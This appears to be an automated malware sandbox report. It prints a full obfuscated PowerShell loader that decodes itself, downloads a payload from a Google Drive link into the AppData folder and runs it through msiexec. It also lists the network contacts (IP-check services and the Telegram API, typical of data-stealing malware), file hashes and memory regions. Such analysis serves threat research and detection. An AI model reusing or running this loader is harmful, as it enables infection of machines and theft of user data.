"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Antiunionist Proboulevard produktionsdatabaser Kortende Tigerstribedes Umeddelsomheds Polyesterne #>;$Brystbilledernes='Huisher';<#Faderkrligheden Beswelter Negritian Lnsystemets #>; function Kammerherrens($Ferroelectric){If ($host.DebuggerEnabled) {$Vandvarmers++;}$Snobbedes=$Udmatrikulerings+$Ferroelectric.'Length'-$Vandvarmers; for ( $Nondilution=5;$Nondilution -lt $Snobbedes;$Nondilution+=6){$Wessands65=$Nondilution;$Regnmaalerens+=$Ferroelectric[$Nondilution];}$Regnmaalerens;}function tugtelsen($Kneepan){ . ($Interfirm) ($Kneepan);}$Colossuses=Kammerherrens ' dlydM U,daoS,uirzS ftwi Ep plUnclol.odtaaKr.nr/Maalt ';$Linecut=Kammerherrens 'RaffiTHukomlBa tesRemou1Hunde2Skyde ';$Usystematisk='Eugub[IwaiwN Ty,ieHovedTFo mu. AgtesTil.eEKhankr TrolvSkattiKlunkC PrerE onoP GuarOpos.uI A tiNk oket isemBlegeA CounnSkjteA IndeGRe lie V cerTaila]End r:Ventr:JordcSMisdaEOotheC.adicURestarGenfoIAutortSurcuyNonviP hederAdv nONonupT teniOWoolpcMesiaODubleLFeret= ,ort$ Fe tLCykelISymasnSylvaE,rbejCDerouu La iTespec ';$Colossuses+=Kammerherrens 'Sgema5Drong.Angl 0An to Ridd (MonogWsekuli BasinUncomdVelgroForliwWea,es empu Pib oNledsaT iphy Magya1Kal i0Stroi.Gloub0Pirss;Ekspe S raaWParceiSpo,nnB,rhm6 Over4 Brug;Misgo ArchaxStear6D bbe4Jal.u; hora Jazzirsisisvhyper:Ibrnd1 rne3 Veks1Ris,a.Cruda0Gudls),ange UveiGFremhefermecArm.rk Dre oCon e/ Kur 2Reple0 Fosf1p umu0 Dalz0 Kalk1Amice0 Es e1Gal a ScotoFStr niBlackrSnoree Ker.f,noovoJuglax lo.a/poter1Rewei3Nailf1Tavet. Eige0physi ';$Tappested=Kammerherrens 'Hawk,uInspisaoriseLivsfRCen r-PseudAEkvilGTriioe A omnSubicTCount ';$Pigeonman=Kammerherrens 'Sammeh fordtpho at MythpKi,otsKukke:La se/Latit/Jo gldUdsknrUddaniPneumv pleteUgled. vrtg,rogloUnmacoSmaaggSnabllUndereFlanc.P.intcFarmaogarhwmNon r/ ndosuI hthcPsych?f rteeP eudxGoterp ovbeoHemmerFlaadtmatur= Tr nd Pesso lbinwPopianReuc,lTr nsoRepara veksdLysts& Fan,iHassedParaf=Mycor1MayflwDiamexOv rbs ChlocDechexKnst.yAr hr0Dem.mmUnd rH Disshro kl3rverbwBet,nm A loXHydro0MistakGunteiUdskn0Pus eQLytteI ,ortn MargsRetteNBlastjdis o- CowbTAvisiGsen ajKonse7CitadOTokro3SkrueLclin. ';$Groundplot=Kammerherrens 'Yucke>Unind ';$Interfirm=Kammerherrens 'NonseIunexie,emilX eena ';$Generalpauses='Mandants';$Retfrdigt='\Deponeringen.Fer';tugtelsen (Kammerherrens 'Tredj$.tatuG sammLE,tabOJagttb FlagAP,pcoL Ro e:ProcesGenercForpaU TratLHaft L SkibdCoriau TeleGOvermg rgaEcoun RP,astYAcule=C nte$UkvinEV.derN.enatV Hres: MineARedosP acriPLandsDSoldrAUnexptSamfuasubst+Tumli$SomalRHa tuE.ndskt SkalFUnparR.arboDspadeiAnti g UrydT edig ');tugtelsen (Kammerherrens ' spec$ H adgMiskmlShamboPlatibEfforABlundl .qua:Foi lrOut reOverpS elinOGenfdCFrancIGrunda KonkLprcisITerbaS Geu,EgaloiR BordiRkenln EctrGF nboSSkyggIRe,renlagris PertTR gioIConnotPreprulouchtBorgmIB ccioBeginN ,uleeOve hrsofis= ndby$Kjol,P SkiliSepargSkr nENy tiOSbe,pNHestemk,eskaTopdeNOph,v.Sal.oSUnderPEk,isLCompeiSta aTSpydi(Varet$PlastgNeu oR Fon OI,speuOpspoNDiesed Insip CineL WondOHandet Dr,g)R,ght ');tugtelsen (Kammerherrens $Usystematisk);$Pigeonman=$Resocialiseringsinstitutioner[0];$Lithophane=(Kammerherrens ' Vels$ CommgButleL FaviOValgmbAfsynAGens l krt:Jyskho Li ivLipocE pendR B rgrSamleoGrshoSVanmde Wo,d=KogejnO ddeEBarnewTndem-An ono De ibSamlsJ jruleTillaCIndkrtOct h SpkkeS,nthoyBekenSFeodcTBordaeBlousm Semi.SqueanCoasse PresT East.RdsptwHu oreMartab Jrl,CMisrelKoinciReedieSubgaNtab lTVakte ');tugtelsen ($Lithophane);tugtelsen (Kammerherrens 'Teltp$Mon poSpirkvKompoe RomerDy,trr UndeoAngeys iceneImmer.I disH Bio.e etca ndeldconice Hoydr f,nds olon[Lyren$HorriT,vninaHex,spantikpShelveforeisTillit TolleModerdHidfr] ract=Afpas$ExsciC CladoMykollBunkeoTidsssFuttosNeut u moebsNonunecomprsFo,fr ');$Resorberbart=Kammerherrens ' nste$Udd toDedecv EibreKa pdrSep lr FiksoPlagos Rente tder. SkulD Jor o d mowN ndin kslilInst.oTi ska,enefdletmeFReinai Re ilT.gkoeSelv (Under$NyhedP C spiEx itgontoleA tivo OpsanSvensmForstaUrssfn Semi,Sikke$OverfUFilianKonstfhasp eSnoreuUl radDemu aPitiel ForsiBalkizPulasiSandwn Lifeg D se)R,stl ';$Unfeudalizing=$Scullduggery;tugtelsen (Kammerherrens ' Flyv$Brdebg BurnL S.atoinstab M.liAAfskalSkaal:MarkssInguitDvaskEFor arGrs nEStyrioOxygos Mid,PCanu,eStedeCStjkiiBr mdFRacemiSiouxC avre=austr(Tir cTBondee TotaSHeartTAnast-G.nocpS,rteA PlutT Snegh,hrio Un e$Soapwu Elgun D,ubf Absoe arlau CentDTungma steplUds.oIBathmzHyperit ndeN WarsGVo.it)Samme ');while (!$stereospecific) {tugtelsen (Kammerherrens 'Ur,nv$DegragD dislStylioSyphib ociaaSubtrlSande: FyriJTh omoskeblbthi ssSam ekFestbaStomab FamieAktualSu ars PropeIltins Immio ImperFizeadstemlnO nibi Biotn Li igTrkgaeeluderFra csLaryn2 Spec5Skreg4 Foru= Wha $RegretB biir lemtuRi ide stro ') ;tugtelsen $Resorberbart;tugtelsen (Kammerherrens 'StradsDisk TFlotsa SheeRFdseltlogic-Su teSDrm.elCe,ebeHesteEbagskPForv Indva4P eud ');tugtelsen (Kammerherrens 'Udsti$GillhgLefl L Outro TegnbNaptha ,iliL.arin: TippS SulpTre iseVandlrRos.nEKontaoAcumis UnrePtaintePolakcSkrydICathofT,inei Ung.cukoll= sini(BidraTMacarEGammisDyksvTKlbeh-ElectpEgenvAaureotObs.ih Shri unapp$Antrou OlennMawpuf AdanEN,urouP.ogrdTw stAMet dLGuidiIEjendZ Smooi po tNEftergMelil) lbes ') ;tugtelsen (Kammerherrens 'Compu$DeltagRudelLTanksO andlb QuelAFor,iLPropr:N ncos lgn,p chameBaskek igphUs bdal UlceA Bap.tLsseniAttenoimmigNKrokesFormuBBarfoY An iGFloorg InteE Sla RPateniarchieTrafitAdvan=Rygel$Phreng Fierl.nogloSuperbGuldsaAmi alAfson:Erhven OverUDensilKlageLSubstU Selvs Eks.+Glas.+ds gh%o.tsc$AntimRSvigteDurkiSwishfoR tioCErnriiTilbeaAnsv,lVer,rIklageSBef,reSup rRT bakIFilmiN iabegkaskasRestrIUl,kkN SilasHjemkTElec ip,ocrTRoughuBlokeT MarkInonsoOanticn DommESantorOli.f.RringcTric.OH,nsyU D wanEcc.nTMa,on ') ;$Pigeonman=$Resocialiseringsinstitutioner[$Spekulationsbyggeriet];}$Delarbejders=288762;$Tommevise=31671;tugtelsen (Kammerherrens 'Opsti$E cycGBarskLSvejfOEthnob yrogACommuLBea,w:EremiAJustiFCholeHHenbao BystLLeangDP oviEKvit N AutodDir.keWordc inter=Indis SinkeGBanalESysteTSurci-H.terCDis,uO eninnLe edtUnveneCorclNSne eTGifti Buats$EpicoUanacrnSskenF anuE ReflufluidDAntipaNyklaLsagadIForvazForski .aesnSulkyG slit ');tugtelsen (Kammerherrens 'Ejers$.orsygGe.ejlKond,o SkorbUltamaUn ullMicro: BlufGKranih azzeahofmanMedfaaSanitiInddaaPjasknHjemm Hjoer=Funkl Drun [BrnesSFinteyLoun sNjalstIllumeM nitmPosto.SingsCequatoMetalnhamlivRetireTra srDerivtSnrel]Stick: Reob:Ang.tFHig.hr SoproUncl mFi icB krteaSk alsMuddeeu.beg6Brist4TidebS CyketP nnerUddaniPermanRaptug Ma d(Storr$S,parAPaed.f P,nehCoeduoOptralAnukadPsyl e Co,nngalvadb.nkbeBesse)Stilg ');tugtelsen (Kammerherrens 'Gruel$SlbemgGlottlInteroLsretbBlideaNyde.LGipsy:PanamFOctaniS lskSCortekIronlePlatyAEtti,uI dsikRenegtQuartiHaemoosjl vnMenneeUnto nPanfiS oder Logge= A ae Kr ts[EndosSEtiopyPhytoSCeintT rkkeEBieenM.lech.FlasktPhotoEpseudXPh,lotLns m. Pr.lEk talnKilenc Sgero.ammedMicr iPile NLenarG lukn]dyref:Omnor:Pen,lA,omensMespocCatguIAncyliSats .S ikeg ivene,endeTBaselS thonTOksetRhell IRegnsnHistogFuse,( Gyps$KejseGImposHKaninan.npuNLn,dgARing iKrakiASktteNracer)Uneva ');tugtelsen (Kammerherrens ' agn$ Ca.iGRee iLvend,OH utbBMenneaUdskrl Fler:BiopsMPrin eYorkeT HispH longaCuma,n DarwAAbef T.aralEForlf= Unva$Jug efAntitiDebadsTwittKOveraE,alloA apituResidkSewerTPlectIMono OVivacnEncepeHabr NKnubssThy i.Fla kSlinguUBek,pBRovemSHondutPre aR oelviServ,nPhylag Nata( Pach$Mi.iadformaEPoserlJurymaJun,orUdbydBO twiESelvlj S irDBouriEStemmrSnekksNyhed,Fld.f$ BlenTCheckoSlamam consm AvlsELddenvnirvaIPanopsSuperEFunkt) ejli ');tugtelsen $Methanate;"
C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\SysWOW64\msiexec.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.28.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| US | 8.8.8.8:53 | 238.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| GB | 142.250.187.193:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 193.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.190.18.2.in-addr.arpa | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| US | 8.8.8.8:53 | 3.180.250.142.in-addr.arpa | udp |
| GB | 142.250.180.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.180.3:80 | o.pki.goog | tcp |
| GB | 142.250.187.193:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| US | 193.122.130.0:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 0.130.122.193.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
Files
memory/2908-0-0x00007FFC72913000-0x00007FFC72915000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_seutxtk4.lt4.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2908-6-0x000002D0ED440000-0x000002D0ED462000-memory.dmp
memory/2908-11-0x00007FFC72910000-0x00007FFC733D1000-memory.dmp
memory/2908-12-0x00007FFC72910000-0x00007FFC733D1000-memory.dmp
memory/2908-14-0x00007FFC72913000-0x00007FFC72915000-memory.dmp
memory/2908-15-0x00007FFC72910000-0x00007FFC733D1000-memory.dmp
memory/2908-17-0x00007FFC72910000-0x00007FFC733D1000-memory.dmp
memory/2908-20-0x00007FFC72910000-0x00007FFC733D1000-memory.dmp
memory/4724-21-0x00000000021D0000-0x0000000002206000-memory.dmp
memory/4724-22-0x0000000004BF0000-0x0000000005218000-memory.dmp
memory/4724-23-0x0000000005250000-0x0000000005272000-memory.dmp
memory/4724-24-0x00000000052F0000-0x0000000005356000-memory.dmp
memory/4724-25-0x00000000053D0000-0x0000000005436000-memory.dmp
memory/4724-35-0x0000000005640000-0x0000000005994000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d1414b301c11e310c55c6fd19b5beeb6 |
| SHA1 | a9a8feef8d7bd65cb5a423665f5ca084672c1af8 |
| SHA256 | 94cb5e8396bc3c3e64e9a9c9cf794a9715148783bb0a91d8c8b77849838df6d0 |
| SHA512 | 1aecaa226433d392968e7ceec6fcabb625a138af4101c36f67cfe1174c4c1c0112999e4638e91664a6eb6a9b0b62a108e77902baec37ae4b59729ebe04fadda4 |
memory/4724-37-0x0000000005B60000-0x0000000005B7E000-memory.dmp
memory/4724-38-0x0000000005BB0000-0x0000000005BFC000-memory.dmp
memory/4724-39-0x00000000073B0000-0x0000000007A2A000-memory.dmp
memory/4724-40-0x0000000006110000-0x000000000612A000-memory.dmp
memory/4724-41-0x0000000006DD0000-0x0000000006E66000-memory.dmp
memory/4724-42-0x0000000006D70000-0x0000000006D92000-memory.dmp
memory/4724-43-0x0000000007FE0000-0x0000000008584000-memory.dmp
C:\Users\Admin\AppData\Roaming\Deponeringen.Fer
| MD5 | f3208d704f5e24b59e212dac6f284a29 |
| SHA1 | ae174085b6b92210b8fd71f847536a48b71341f6 |
| SHA256 | 039c069600de534eca395724b32810fe2e967aad0009415aa108d0a9555ab86a |
| SHA512 | fb89a325614e4d78c6f6a617b7fa700bafbefd0a17864c2da1a75f5ec7af2c12ff61f3f3eb27164eb42a7583e0fcd001cf3b20d6a83206ade79bbff9d1d2df3f |
memory/4724-45-0x0000000008590000-0x000000000DA3E000-memory.dmp
memory/2284-47-0x0000000000AE0000-0x0000000001D34000-memory.dmp
memory/2284-61-0x0000000000AE0000-0x0000000000B28000-memory.dmp
memory/2284-60-0x0000000000AE0000-0x0000000001D34000-memory.dmp
memory/2284-62-0x0000000025290000-0x000000002532C000-memory.dmp
memory/2284-65-0x0000000025EA0000-0x0000000026062000-memory.dmp
memory/2284-66-0x0000000025640000-0x0000000025690000-memory.dmp
memory/2284-67-0x0000000025760000-0x00000000257F2000-memory.dmp
memory/2284-68-0x0000000025710000-0x000000002571A000-memory.dmp